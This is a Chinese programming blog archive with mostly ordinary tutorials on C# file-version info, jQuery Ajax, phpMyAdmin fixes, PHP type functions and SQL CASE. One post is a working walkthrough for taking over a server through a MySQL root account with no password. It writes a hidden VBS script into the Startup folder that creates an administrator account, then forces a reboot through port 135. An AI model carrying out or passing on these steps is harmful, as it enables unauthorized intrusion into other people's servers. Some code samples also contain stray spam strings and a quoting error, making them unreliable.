2012年5月16日

代码如下 复制代码
using System.Reflection;
using System.Runtime.CompilerServices;

//
// 有关程序集的常规信息是通过下列
// 属性集控制的。更改这些属性值可修改与程序集
// 关联的信息。
//
[assembly: AssemblyTitle("")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")] 

//
// 程序集的版本信息由下列 4 个值组成:
//
//      主版本
//      次版本
//      内部版本号
//      修订号
//
// 您可以指定所有这些值,也可以使用“修订号”和“内部版本号”的默认值,方法是按
// 如下所示使用 '*':

[assembly: AssemblyVersion("1.0.*")]

//
// 要对程序集进行签名,必须指定要使用的密钥。有关程序集签名的更多信息,请参考
// Microsoft .NET Framework 文档。
//
// 使用下面的属性控制用于签名的密钥。
//
// 注意:
//   (*) 如果未指定密钥,则程序集不会被签名。
//   (*) KeyName 是指已经安装在计算机上的
//      加密服务提供程序(CSP)中的密钥。KeyFile 是指包含
//       密钥的文件。
//   (*) 如果 KeyFile 和 KeyName 值都已指定,则
//       发生下列处理:
//       (1) 如果在 CSP 中可以找到 KeyName,则使用该密钥。
//       (2) 如果 KeyName 不存在而 KeyFile 存在,则
//           KeyFile 中的密钥安装到 CSP 中并且使用该密钥。
//   (*) 要创建 KeyFile,可以使用 sn.exe(强名称)实用工具。
//       在指定 KeyFile 时,KeyFile 的位置应该相对于
//       项目输出目录,即
//       %Project Directory%obj<configuration>。例如,如果 KeyFile 位于
//       该项目目录,应将 AssemblyKeyFile
//       属性指定为 [assembly: AssemblyKeyFile("..\..\mykey.snk")]
//   (*) “延迟签名”是一个高级选项 - 有关它的更多信息,请参阅 Microsoft .NET Framework
//       文档。
//
[assembly: AssemblyDelaySign(false)]
[assembly: AssemblyKeyFile("")]
[assembly: AssemblyKeyName("")]
 

forms1.frm文件这里是核心程序

 代码如下 复制代码
using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.IO;
using System.Diagnostics;
//Download by http://www.111cn.net
namespace MyFile
{
 /// <summary>
 /// Form1 的摘要说明。
 /// </summary>
 public class Form1 : System.Windows.Forms.Form
 {
  private System.Windows.Forms.Button button1;
  private System.Windows.Forms.TextBox textBox1;
  private System.Windows.Forms.GroupBox groupBox1;
  private System.Windows.Forms.OpenFileDialog openFileDialog1;
  private System.Windows.Forms.Button button2;
  private System.Windows.Forms.Label label1;
  private System.Windows.Forms.Label label2;
  private System.Windows.Forms.Label label3;
  private System.Windows.Forms.Label label4;
  private System.Windows.Forms.Label label5;
  private System.Windows.Forms.Label label6;
  private System.Windows.Forms.Button button3;
  /// <summary>
  /// 必需的设计器变量。
  /// </summary>
  private System.ComponentModel.Container components = null;

  public Form1()
  {
   //
   // Windows 窗体设计器支持所必需的
   //
   InitializeComponent();

   //
   // TODO: 在 InitializeComponent 调用后添加任何构造函数代码
   //
  }

  /// <summary>
  /// 清理所有正在使用的资源。
  /// </summary>
  protected override void Dispose( bool disposing )
  {
   if( disposing )
   {
    if (components != null)
    {
     components.Dispose();
    }
   }
   base.Dispose( disposing );
  }

  #region Windows 窗体设计器生成的代码
  /// <summary>
  /// 设计器支持所需的方法 - 不要使用代码编辑器修改
  /// 此方法的内容。
  /// </summary>
  private void InitializeComponent()
  {
   this.button1 = new System.Windows.Forms.Button();
   this.textBox1 = new System.Windows.Forms.TextBox();
   this.groupBox1 = new System.Windows.Forms.GroupBox();
   this.openFileDialog1 = new System.Windows.Forms.OpenFileDialog();
   this.button2 = new System.Windows.Forms.Button();
   this.label1 = new System.Windows.Forms.Label();
   this.label2 = new System.Windows.Forms.Label();
   this.label3 = new System.Windows.Forms.Label();
   this.label4 = new System.Windows.Forms.Label();
   this.label5 = new System.Windows.Forms.Label();
   this.label6 = new System.Windows.Forms.Label();
   this.button3 = new System.Windows.Forms.Button();
   this.groupBox1.SuspendLayout();
   this.SuspendLayout();
   //
   // button1
   //
   this.button1.Location = new System.Drawing.Point(8, 192);
   this.button1.Name = "button1";
   this.button1.Size = new System.Drawing.Size(112, 23);
   this.button1.TabIndex = 1;
   this.button1.Text = "浏览程序文件";
   this.button1.Click += new System.EventHandler(this.button1_Click);
   //
   // textBox1
   //
   this.textBox1.BackColor = System.Drawing.SystemColors.Control;
   this.textBox1.Location = new System.Drawing.Point(104, 8);
   this.textBox1.Name = "textBox1";
   this.textBox1.ReadOnly = true;
   this.textBox1.Size = new System.Drawing.Size(256, 21);
   this.textBox1.TabIndex = 2;
   this.textBox1.Text = "";
   //
   // groupBox1
   //
   this.groupBox1.Controls.Add(this.label5);
   this.groupBox1.Controls.Add(this.label4);
   this.groupBox1.Controls.Add(this.label3);
   this.groupBox1.Controls.Add(this.label2);
   this.groupBox1.Controls.Add(this.label1);
   this.groupBox1.Location = new System.Drawing.Point(8, 40);
   this.groupBox1.Name = "groupBox1";
   this.groupBox1.Size = new System.Drawing.Size(352, 144);
   this.groupBox1.TabIndex = 3;
   this.groupBox1.TabStop = false;
   this.groupBox1.Text = "程序文件信息";
   //
   // openFileDialog1
   //
   this.openFileDialog1.Filter = "程序文件(*.exe)|*.exe|All files (*.*)|*.*";
   //
   // button2
   //
   this.button2.Location = new System.Drawing.Point(120, 192);
   this.button2.Name = "button2";
   this.button2.Size = new System.Drawing.Size(112, 23);
   this.button2.TabIndex = 11;
   this.button2.Text = "获取程序文件信息";
   this.button2.Click += new System.EventHandler(this.button2_Click);
   //
   // label1
   //
   this.label1.Location = new System.Drawing.Point(16, 24);
   this.label1.Name = "label1";
   this.label1.Size = new System.Drawing.Size(320, 16);
   this.label1.TabIndex = 0;
   this.label1.Text = "公司名称:";
   //
   // label2
   //
   this.label2.Location = new System.Drawing.Point(16, 48);
   this.label2.Name = "label2";
   this.label2.Size = new System.Drawing.Size(320, 16);
   this.label2.TabIndex = 1;
   this.label2.Text = "产品名称:";
   //
   // label3
   //
   this.label3.Location = new System.Drawing.Point(16, 72);
   this.label3.Name = "label3";
   this.label3.Size = new System.Drawing.Size(320, 16);
   this.label3.TabIndex = 2;
   this.label3.Text = "语言标志:";
   //
   // label4
   //
   this.label4.Location = new System.Drawing.Point(16, 96);
   this.label4.Name = "label4";
   this.label4.Size = new System.Drawing.Size(320, 16);
   this.label4.TabIndex = 3;
   this.label4.Text = "版本号:";
   //
   // label5
   //
   this.label5.Location = new System.Drawing.Point(16, 120);
   this.label5.Name = "label5";
   this.label5.Size = new System.Drawing.Size(320, 16);
   this.label5.TabIndex = 4;
   this.label5.Text = "版权声明:";
   //
   // label6
   //
   this.label6.Location = new System.Drawing.Point(8, 16);
   this.label6.Name = "label6";
   this.label6.Size = new System.Drawing.Size(96, 16);
   this.label6.TabIndex = 12;
   this.label6.Text = "程序文件名称:";
   //
   // button3
   //
   this.button3.Location = new System.Drawing.Point(232, 192);
   this.button3.Name = "button3";
   this.button3.Size = new System.Drawing.Size(128, 23);
   this.button3.TabIndex = 13;
   this.button3.Text = "获取本程序文件信息";
   this.button3.Click += new System.EventHandler(this.button3_Click);
   //
   // Form1
   //
   this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
   this.ClientSize = new System.Drawing.Size(368, 222);
   this.Controls.Add(this.button3);
   this.Controls.Add(this.label6);
   this.Controls.Add(this.groupBox1);
   this.Controls.Add(this.textBox1);
   this.Controls.Add(this.button1);
   this.Controls.Add(this.button2);
   this.MaximizeBox = false;
   this.Name = "Form1";
   this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
   this.Text = "演示获取程序文件信息";
   this.groupBox1.ResumeLayout(false);
   this.ResumeLayout(false);

  }
  #endregion

  /// <summary>
  /// 应用程序的主入口点。
  /// </summary>
  [STAThread]
  static void Main()
  {
   Application.Run(new Form1());
  }

  private void button1_Click(object sender, System.EventArgs e)
  {//浏览程序文件
   if(this.openFileDialog1.ShowDialog()==DialogResult.OK)
   {
    this.textBox1.Text=this.openFileDialog1.FileName;
   }
  }

  private void button2_Click(object sender, System.EventArgs e)
  {//获取程序文件信息
   string MyFileName=this.textBox1.Text;
   if(MyFileName.Length<1)
     return;
   string ShortName=MyFileName.Substring(MyFileName.LastIndexOf("\")+1);
   this.groupBox1.Text=ShortName+"程序文件信息";
   FileVersionInfo MyInfo=FileVersionInfo.GetVersionInfo(MyFileName);
   this.label1.Text="公司名称:"+MyInfo.CompanyName;
   this.label2.Text="产品名称:"+MyInfo.ProductName;
   this.label3.Text="语言标志:"+MyInfo.Language;
   this.label4.Text="版本号:"+MyInfo.FileVersion;
   this.label5.Text="版权声明:"+MyInfo.LegalCopyright;  
  }

  private void button3_Click(object sender, System.EventArgs e)
  {//获取当前程序文件信息
   this.groupBox1.Text="显示本程序文件信息";
   this.label1.Text="公司名称:"+Application.CompanyName;
   this.label2.Text="区域信息:"+Application.CurrentCulture;
   this.label3.Text="语言标志:"+Application.CurrentInputLanguage;
   this.label4.Text="产品名称:"+Application.ProductName;
   this.label5.Text="产品版本:"+Application.ProductVersion;  
  }
 }
}
 

更多详细内容请查看:http://www.111cn.net/net/160/42563.htm

posted @ 2012-05-16 21:52 php开发 阅读(178) 评论(0) 编辑
 

1、连接到对方MYSQL 服务器

mysql -u root -h 192.168.0.1

mysql.exe 这个程序在你安装了MYSQL的的BIN目录中。

2、让我们来看看服务器中有些什么数据库

mysql>show databases; MYSQL默认安装时会有MYSQL、TEST这两个数据库,如果你看到有其它的数据库那么就是用户自建的数据库。

3、让我们进入数据库

mysql>use test; 我们将会进入test数据库中。

4、查看我们进入数据库中有些什么数据表

mysql>show tables; 默认的情况下,test中没有任何表的存在。

以下为关键的部分

5、在TEST数据库下创建一个新的表;

mysql>create table a (cmd text); 好了,我们创建了一个新的表,表名为a,表中只存放一个字段,字段名为cmd,为text文本。

6、在表中插入内容

 代码如下 复制代码
mysql>insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1/add"",0) " );

mysql>insert into a values

("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0) " );
 

注意双引号和括号以及后面的"0"一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!  7、好了,现在我们来看看表a中有些什么

mysql>select * from a;我们将会看到表中有三行数据,就是我们刚刚输入的内容,确认你输入的内容无误后,我们来到下一步

8、输出表为一个VBS的脚本文件

mysql>select * from a into outfile "c:\docume~1\alluse~1\“开始”菜单\程序\启动\a.vbs"; 我们把我们表中的内容输入到启动组中,是一个VBS的脚本文件!注意""符号。

9、看到这大家肯定知道了,就是利用MYSQL输出一个可执行的文件而已。为什么不用BAT呢,因为启动运行时会有明显的DOS窗口出来,而用VBS脚本则可以完全隐藏窗口且不会有错误提示!本来,应该还有一句完成脚本后自动删除此脚本的,但是中文目录实在无法处理,只有作罢!好了,找个工具攻击135让服务器重启吧,几分钟以后你就是管理员了。

总结:不管你什么时候都需要注意自己服务器的安全否则就别谈其它应用程序了,本文章讲述的mysql root密码弱口令的攻击只是安全应用中的冰山一解而己。

更多详细内容请查看:http://www.111cn.net/database/mysql/42572.htm

posted @ 2012-05-16 21:52 php开发 阅读(142) 评论(0) 编辑
 

Ajax框架就是提供模块化实现Ajax功能的集合,Ajax框架可以是各种语言实现的(比如SAJAX有各种语言的实现),Ajax只是jquery中的一部分,

实例1

 代码如下 复制代码
$.ajax({
type:'post',//可选get
url:'action.php',//这里是接收数据的PHP程序
data:'data='dsa',//传给PHP的数据,多个参数用&连接
dataType:'text',//服务器返回的数据类型 可选XML ,Json jsonp script html text等
success:function(msg){
//这里是ajax提交成功后,PHP程序返回的数据处理函数。msg是返回的数据,数据类型在dataType参数里定义!
},
error:function(){
ajax提交失败的处理函数!
}
})

PHP action.php

 代码如下 复制代码
<?php
echo 'www.111cn.net!';
?>
 

下面看个jquery ajax用户无刷新登录实例

实例2

 代码如下 复制代码
<html>
<head>
<title>jQuery Ajax 实例演示</title>
</head>
<script src="./js/jquery.js" type="text/javascript"></script>
<script type="text/javascript">
$(document).ready(function(){//这个就是jQueryready ,它就像C语言的main 所有操作包含在它里面
$("#button_login").mousedown(function(){
login(); //点击ID为"button_login"的按钮后触发函数 login();
});
});
function login(){ //函数 login();
var username = $("#username").val();//取框中的用户名
var password = $("#password").val();//取框中的密码
$.ajax({ //一个Ajax过程
type: "post", //以post方式与后台沟通
url : "login.php", //与此php页面沟通
dataType:'json',//从php返回的值以 JSON方式 解释
data: 'username='+username+'&password='+password, //发给php的数据有两项,分别是上面传来的u和p
success: function(json){//如果调用php成功
//alert(json.username+'n'+json.password); //把php中的返回值(json.username)给 alert出来
$('#result').html("姓名:" + json.username + "<br/>密码:" + json.password); //把php中的返回值显示在预定义的result定位符位置
}
});
//$.post()方式:
$('#test_post').mousedown(function (){
$.post(
'login.php',
{
username:$('#username').val(),
password:$('#password').val()
},
function (data) //回传函数
{
var myjson='';
eval('myjson=' + data + ';');
$('#result').html("姓名1:" + myjson.username + "<br/>密码1:" + myjson.password);
}
);
});
//$.get()方式:
$('#test_get').mousedown(function ()
{
$.get(
'login.php',
{
username:$('#username').val(),
password:$('#password').val()
},
function(data) //回传函数
{
var myjson='';
eval("myjson=" + data + ";");
$('#result').html("姓名2:" + myjson.username + "<br/>密码2:" + myjson.password);
}
);
});
}
</script>
<body>
<div id="result" style="background:orange;border:1px solid red;width:300px;height:200px;"></div>
<form id="formtest" action="" method="post">
<p><span>输入姓名:</span><input type="text" name="username" id="username" /></p>
<p><span>输入密码:</span><input type="text" name="password" id="password" /></p>
</form>
<button id="button_login">ajax提交</button>
<button id="test_post">post提交</button>
<button id="test_get">get提交</button>
</body>
</html>
 

php代码

 

 代码如下 复制代码
<?php
echo json_encode(array ('username'=>$_REQUEST['username'],'password'=>$_REQUEST['password']));
?> 

使用jquery ajax优点与持缺点分析

优点
小,压缩后代码只有20多k(无压缩代码94k)。
Selector和DOM操作的方便:jQuery的Selector与mootools的Element.Selectors.js比较,CSS Selector, XPath Selector(1.2后已删除)
Chaining:总是返回一个jQuery对象,可以连续操作。
文档的完整,易用性(每个API都有完整的例子,这是其它框架现在不能比的),而且网上还有很多其它的文档,书籍。
应用的广泛,包括google code也使用了jQuery。

使用jQuery的站点:http://docs.jquery.com/Sites_Using_jQuery
核心的开发团队和核心人员:John Resig等。
简洁和简短的语法,容易记。
可扩展性:有大量用户开发的插件可供使用(http://jquery.com/plugins/
jQuery UI(http://jquery.com/plugins/,基于jQuery,但和核心的jQuery是独立的),不断发展中。
友好和活跃的社区:google groups:http://docs.jquery.com/Discussion
事件处理有很多方便的方法,如click,而不是单一的addEvent之类的。

缺点
由于设计思想是追求高效和简洁,没有面向对象的扩展。设计思路和Mootools不一样。
CSS Selector的速度稍微有些慢(但是现在速度已经大幅提高)

更多详细内容请查看:http://www.111cn.net/wy/jquery/42560.htm

posted @ 2012-05-16 21:51 php开发 阅读(330) 评论(0) 编辑
 

1、在APMServ5.2.6出现问题的最简单的解决办法是

在本地计算机无法启动APMServ-MySQL5.1服务,错误1067,进程意外中止”的方法很简单,只要进入“D:\Program Files\APMServ5.2.6\MySQL5.1\bin”文件夹,找到mysqld-nt.exe文件执行即可。
默认情况下,当启动APMServ的时候,在服务中MySql5.1都是没有启动的,需要执行mysqld-nt.exe文件,开启MySql服务


2.我们还是来检查phpmyadmin配置文件看看

方法一:查找

 代码如下 复制代码
$cfg['Servers'][$i]['auth_type'] = ‘config’;
更改为
$cfg['Servers'][$i]['auth_type'] = ‘http’;
 

访问的时候需要输入用户名和密码

方法二:”#2003 – 服务器没有响应”PHPMYADMIN登陆问题的解决

问题描述:

登陆PHPMYADMIN的时候提示 #2003 – 服务器没有响应
1 本地其它php+mysql程序运行正常;
2 phpmyadmin 以前运行正常,就最近出错.

解决办法:
找到/libraries/config.default.php文件中以下代码段:
复制内容到剪贴板代码:

 代码如下 复制代码
$cfg['Servers'][$i]['auth_type']     = ‘config’;    // Authentication method (valid choices: config, http, HTTP, signon or cookie) 验证方式一般填写cookie
$cfg['Servers'][$i]['user']          = ‘root’;      // MySQL user
$cfg['Servers'][$i]['password']      = ”;          // MySQL password (only needed with ‘config’ auth_type)
将其中的$cfg['Servers'][$i]['password'] 补上相应的正确密码.
3.连接mysql mysql.exe -u root -p -h 127.0.0.1
然后同步密码guoxue_mmkey_com
mysql> SET PASSWORD FOR -> ‘ some_user ‘@’ some_host ‘ = OLD_PASSWORD(‘ newpwd ‘);
结合我们的实际情况,在 MySQL Command Line Client 下运行:
set password for root@localhost = old_password(’123′);guoxue_mmkey_com
guoxue_mmkey_com

如果以上方法都不能解决,建议重新配置PHP,重新安装一次mysql即可,一般都能解决


注意:
检查防火墙是否关闭了3306端口,或者直接关闭防火墙测试是否可以正常连接到MYSQL,开始-运行,输入IISRESET重新启动IIS,保证mysql比IIS早启动

更多详细内容请查看:http://www.111cn.net/phper/php-database/42555.htm

posted @ 2012-05-16 21:50 php开发 阅读(68) 评论(0) 编辑
 

ajax乱码解决办法一:

在服务器指定发送数据的格式:
在jsp文件中:
response.setContentType("text/text;charset=UTF-8");//返回的是txt文本文件
或是
response.setContentType("text/xml;charset=UTF-8");//返回的xml文件
PHP:header(”Content-Type:text/html;charset=GB2312”);

ajax乱码解决方法二:
PHP发送中文、Ajax接收
只需在php顶部加入一句:
header('Content-type: text/html;charset=GB2312');
xmlHttp会正确解析其中的中文。

Ajax发送中文、PHP接收
这个比较复杂:
Ajax中先用encodeURIComponent对要提交的中文进行编码
PHP中:
$GB2312string=iconv( 'UTF-8', 'gb2312//IGNORE' , $RequestAjaxString);
PHP写入MySQL数据库
建立conn时,query一下set names "gb2312"

==================================================

注意红色部分!!!否则无法使用!!!具体原因自己猜!
iconv( "UTF-8",”GBK” , $gametypes["name"]);
原创:

我的乱码问题是AJAX取数据时产生乱码,本来页面是采用GBK编码的。后来显示为乱码,我使用UE把它转换成UTF-8后,
页面上原来的元素就可以显示正确了。但是,数据库取出来的值还是会乱码。
ob_get_contents ();
取出所有的显示数据,然后输出到日志文件,显示全是乱码。
使用UE把文件再转换成GBK,然后再输出,显示就正确了。
这里再使用:header('Content-Type:text/html;charset=GBK');
前台页面显示就正常。


在试过这N多方法后,很多人都没发现,解决的方法其实很简单,而且其答案就在我们之前处理的JSP乱码之中。让我们先看一下AJAX的经典请求代码

xmlhttp.open( "post", url, async );
xmlhttp.setRequestHeader( "Content-Type", "text/html" );
xmlhttp.send( params );

通过前面的说明,不知道你现在看出端倪了没有。不知道是受了网上教程的影响还是其它方面影响,setRequestHeader并是万年不变的,也没人想过去改它,而问题就正好出在这个地方。回想一个JSP页面内容的编码设置,其中有这么一节:

contentType="text/html; charset=UTF-8"
现在知道问题了吧,所以我们要把第二句代码改为:
xmlhttp.setRequestHeader( "Content-Type", "text/html;charset=UTF-8" );
最后别忘了在返回数据时也设置上:

response.setContentType( "text/xml" );
response.setCharacterEncoding( "UTF-8" );

上面讲到的几种ajax中文乱码解决方法都是利用了header('Content-Type:text/html;charset=GBK');这类方法对页面的发送与接受处理数据页面编码统一了,大家现在可以尝试一下。

更多详细内容请查看:http://www.111cn.net/wy/js-ajax/42559.htm

posted @ 2012-05-16 21:50 php开发 阅读(124) 评论(0) 编辑

2012年5月3日

-
-
php is_dir 判断是否为目录

is_dir - 判断文件是否是一个目录

报告错误描述
布尔is_dir(字符串$文件名)
告诉给定文件名是否是一个目录。

报告错误参数

文件名
文件的路径。如果filename是一个相对的文件名,将检查相对于当前的工作目录。如果filename是一个符号或硬链接的链接,然后将得到解决和遏制。


报告错误返回值
返回TRUE,如果文件名存在,并且是一个目录,否则返回FALSE。

报告错误的例子

例子1 is_dir()例子

<?php
var_dump(is_dir('a_file.txt'));
var_dump(is_dir('http://www.hzhuti.com/nokia/e66/ /abc'));

var_dump(is_dir('..')); //one dir up
?>
The above example will output:

bool(false)
bool(false)
bool(true)
当我运行的scandir我一直运行一个简单的过滤器,文件系统工件帐户(特别是从一个简单的FTP文件夹拖放)和“。” “..”显示在每一个目录

<?php
    if (is_dir($folder){
        $contents = scandir($folder);
        $bad = array(".", "..", ".DS_Store", "_notes", "Thumbs.db");
        $files = array_diff($contents, $bad);
    }
?>


<?php
public static function isEmptyDir($dir){
     return (($files = @scandir($dir)) && count($files) <= 2);
}
?>

better ;)

<?php
function is_empty_dir($dir)
{
    if (($files = @scandir($dir)) && count($files) <= 2) {
        return true;
    }
    return false;
}
?>
注意:你显然应事先检查,如果$ dir是实际上是一个目录,而且是可读的,因为只有在这个假设你依靠,在这两种情况下,你有一个非空的可读目录。

更多详细内容请查看:http://www.111cn.net/phper/24/is_dir.htm

posted @ 2012-05-03 22:17 php开发 阅读(85) 评论(0) 编辑
 

//双精度数判断

is_double
is_double -- is_float() 的别名
描述
此函数是 is_float() 的别名函数。

 

 代码如下 复制代码
$Temperature = 15.23;
if(is_double($Temperature))
{
print("Temperature is a double"."<br>");
}
 

//整数判断

is_integer -- is_int() 和is_long()的别名
描述
此函数是 is_int() 的别名函数。

 

 代码如下 复制代码
$PageCount = 2234;
if(is_integer($PageCount))
{
print("$PageCount is an integer"."<br>");


//对象判断

is_object -- 检测变量是否是一个对象
描述
bool is_object ( mixed var)


如果 var 是一个 object 则返回 TRUE,否则返回 FALSE。

 

 代码如下 复制代码
class widget
{
var $name;
var $length;
}
$thing = new widget;
if(is_object($thing))
{
print("thing is an object"."<br>");
}
 


//字符判断

is_string -- 检测变量是否是字符串
描述
bool is_string ( mixed var)


如果 var 是 string 则返回 TRUE,否则返回 FALSE。

 

 代码如下 复制代码
$Greeting = "www.hzhuti.com ";
if(is_string($Greeting))
{
print("Greeting is a string"."<br>");


is_numeric --  检测变量是否为数字或数字字符串
描述
bool is_numeric ( mixed var)


如果 var 是数字和数字字符串则返回 TRUE,否则返回 FALSE。

 代码如下 复制代码
$int = 1;
if(is_numeric($int))
{
print("这是个真正的数字,纯爷们"."<br>");
}
 


好了本文章这里只是简单的讲述了在php对象,数字,字符判断函数,难度相对超级简单
原创 http://www.111cn.net/phper/php-function/42532.htm

posted @ 2012-05-03 22:16 php开发 阅读(134) 评论(0) 编辑
 

unsigned   既为非负数,用此类型可以增加数据长度!

例如如果    tinyint最大是127,那    tinyint    unsigned    最大   就可以到    127 * 2

unsigned 属性只针对整型,而binary属性只用于char 和varchar。

类型

说明

tinyint

非常小的整数

smallint

较小整数

mediumint

中等大小整数

int

标准整数

bigint

较大整数

float

单精度浮点数

double

双精度浮点数

decimal

一个串的浮点数



每种数值类型的名称和取值范围如表2所示。

类型说明

取值范围

tinyint[(m)]

有符号值:-128 到127(- 27 到27 - 1)

无符号值:0到255(0 到28 - 1) 1个字节

smallint[(m)]

有符号值:-32768 到32767(- 215 到215 - 1)

无符号值:0到65535(0 到21 6 - 1) 2个字节

mediumint[(m)]

有符号值:-8388608 到8388607(- 22 3 到22 3 - 1 )

无符号值:0到16777215(0 到22 4 - 1) 3个字节

int[(m)]

有符号值:-2147683648 到2147683647(- 231 到231- 1)

无符号值:0到4294967295(0 到232 - 1) 4个字节

bigint[(m)]

有符号值:-9223372036854775808 到9223373036854775807(- 263到263-1)

无符号值:0到18446744073709551615(0到264 – 1) 8个字节

float[(m, d)]

最小非零值:±1.175494351e - 38

double[(m,d)]

最小非零值:±2.2250738585072014e - 308

decimal (m, d)

可变;其值的范围依赖于m 和d

表2:数值列类型的取值范围

各种类型值所需的存储量如表3所示。

类型说明

存储需求

tinyint[(m)]

1字节

smallint[(m)]

2字节

mediumint[(m)]

3字节

int[(m)]

4字节

bigint[(m)]

8字节

float[(m, d)]

4字节

double[(m, d)]

8字节

decimal (m, d)

m字节(mysql < 3.23),m+2字节(mysql > 3.23 )

表3:数值列类型的存储需求

mysql提供了五种整型: tinyint、smallint、mediumint、int和bigint。int为integer的缩写。这些类型在可表示的取值范围上是不同的。 整数列可定义为unsigned从而禁用负值;这使列的取值范围为0以上。各种类型的存储量需求也是不同的。取值范围较大的类型所需的存储量较大。

mysql 提供三种浮点类型: float、double和decimal。与整型不同,浮点类型不能是unsigned的,其取值范围也与整型不同,这种不同不仅在于这些类型有最大 值,而且还有最小非零值。最小值提供了相应类型精度的一种度量,这对于记录科学数据来说是非常重要的

mysql5 unsigned 相减出现补数 溢出 解决办法

Mysql5 为了速度,只存放数二进制数据,而且在加减运算中,也是二进制的运算.

所以在使用unsigned 是小心0-1 的操作.尽量在这类操作前先做一个判断.

如果直接在程序里进行判定,难免会出现数据错误,因为有一点点时间内数据是放在内存的,而没放进库里,最好的办法还是直接送出sql语句进行修改,这里mysql5有解决办法 CONVERT( 字段 + (要加减的数字) AS SIGNED )就可以了。

例如:UPDATE `user` SET `tk` = CONVERT( tk +  (-8) ,SIGNED ) WHERE `id` = '1330'

原文http://www.111cn.net/database/mysql/42505.htm

posted @ 2012-05-03 22:15 php开发 阅读(44) 评论(0) 编辑
 

Case when 的用法 (转)
--简单Case函数
简单CASE表达式,使用表达式确定返回值.

  语法:

 代码如下 复制代码
  CASE search_expression

  WHEN expression1 THEN result1

  WHEN expression2 THEN result2

  ...

  WHEN expressionN THEN resultN

  ELSE default_result

 
 

搜索CASE表达式,使用条件确定返回值.

  语法:

 

 代码如下 复制代码
 CASE

  WHEN condition1 THEN result1

  WHEN condistion2 THEN result2

  ...

  WHEN condistionN THEN resultN

  ELSE default_result

  END

  例:

  select product_id,product_type_id,

  case

  when product_type_id=1 then 'Book'

  when product_type_id=2 then 'Video'

  when product_type_id=3 then 'DVD'

  when product_type_id=4 then 'CD'

  else 'Magazine'

  end

  from products

 
 

这两种方式,可以实现相同的功能。简单Case函数的写法相对比较简洁,但是和Case搜索函数相比,功能方面会有些限制,比如写判断式。

还有一个需要注意的问题,Case函数只返回第一个符合条件的值,剩下的Case部分将会被自动忽略。

 

比如说,下面这段SQL,你永远无法得到“第二类”这个结果

 

 代码如下 复制代码
 

CASE WHEN col_1 IN ( 'a', 'b') THEN '第一类'

WHEN col_1 IN ('a')       THEN '第二类'

ELSE'其他' END

 
 

下面我们来看一下,使用Case函数都能做些什么事情。

 

一,已知数据按照另外一种方式进行分组,分析。

 

有如下数据:(为了看得更清楚,我并没有使用国家代码,而是直接用国家名作为Primary Key)

国家(country) 人口(population)

中国 600

美国 100

加拿大 100

英国 200

法国 300

日本 250

德国 200

墨西哥 50

印度 250

 

根据这个国家人口数据,统计亚洲和北美洲的人口数量。应该得到下面这个结果。

洲 人口

亚洲 1100

北美洲 250

其他 700

 

想要解决这个问题,你会怎么做?生成一个带有洲Code的View,是一个解决方法,但是这样很难动态的改变统计的方式。

如果使用Case函数,SQL代码如下

 

 代码如下 复制代码
SELECT SUM(population),

CASE country

WHEN '中国'     THEN '亚洲'

WHEN '印度'     THEN '亚洲'

WHEN '日本'     THEN '亚洲'

WHEN '美国'     THEN '北美洲'

WHEN '加拿大' THEN '北美洲'

WHEN '墨西哥' THEN '北美洲'

ELSE '其他' END

FROM    Table_A

GROUP BY CASE country

WHEN '中国'     THEN '亚洲'

WHEN '印度'     THEN '亚洲'

WHEN '日本'     THEN '亚洲'

WHEN '美国'     THEN '北美洲'

WHEN '加拿大' THEN '北美洲'

WHEN '墨西哥' THEN '北美洲'

ELSE '其他' END;

 
 

同样的,我们也可以用这个方法来判断工资的等级,并统计每一等级的人数。SQL代码如下

 

 代码如下 复制代码
SELECT

CASE WHEN salary <= 500 THEN '1'

WHEN salary > 500 AND salary <= 600 THEN '2'

WHEN salary > 600 AND salary <= 800 THEN '3'

WHEN salary > 800 AND salary <= 1000 THEN '4'

ELSE NULL END salary_class,

COUNT(*)

FROM    Table_A

GROUP BY

CASE WHEN salary <= 500 THEN '1'

WHEN salary > 500 AND salary <= 600 THEN '2'

WHEN salary > 600 AND salary <= 800 THEN '3'

WHEN salary > 800 AND salary <= 1000 THEN '4'

ELSE NULL END;

 
 

二,用一个SQL语句完成不同条件的分组。

 

有如下数据

国家(country) 性别(sex) 人口(population)

中国 1 340

中国 2 260

美国 1 45

美国 2 55

加拿大 1 51

加拿大 2 49

英国 1 40

英国 2 60

 

按照国家和性别进行分组,得出结果如下

国家 男 女

中国 340 260

美国 45 55

加拿大 51 49

英国 40 60

 

普通情况下,用UNION也可以实现用一条语句进行查询。但是那样增加消耗(两个Select部分),而且SQL语句会比较长。

下面是一个是用Case函数来完成这个功能的例子

 

 代码如下 复制代码
SELECT country,

SUM( CASE WHEN sex = '1' THEN

population ELSE 0 END), --男性人口

SUM( CASE WHEN sex = '2' THEN

population ELSE 0 END)   --女性人口

FROM Table_A

GROUP BY country;

 
 

这样我们使用Select,完成对二维表的输出形式,充分显示了Case函数的强大。

 

三,在Check中使用Case函数。

 

在Check中使用Case函数在很多情况下都是非常不错的解决方法。可能有很多人根本就不用Check,那么我建议你在看过下面的例子之后也尝试一下在SQL中使用Check。

 

下面我们来举个例子

公司A,这个公司有个规定,女职员的工资必须高于1000块。如果用Check和Case来表现的话,如下所示

 

 代码如下 复制代码
CONSTRAINT check_salary CHECK

( CASE WHEN sex = '2'

THEN CASE WHEN salary > 1000

THEN 1 ELSE 0 END

ELSE 0 END )
 

 

如果单纯使用Check,如下所示

 

 代码如下 复制代码
CONSTRAINT check_salary CHECK

( sex = '2' AND salary > 1000 )
 

 

女职员的条件倒是符合了,男职员就无法输入了。

实例

 代码如下 复制代码
create table feng_test(id number, val varchar2(20);

insert into feng_test(id,val)values(1,'http://www.hzhuti.com/nokia/5250/');
insert into feng_test(id,val)values(2,'abc');
commit;

SQL>select * from feng_test;

id            val
-------------------
1             abcde
2             abc

SQL>select id
     , case when val like 'a%' then '1'
          when val like 'abcd%' then '2'
     else '999'
    end case
from feng_test;

id             case
---------------------
1                  1
2                  1
 

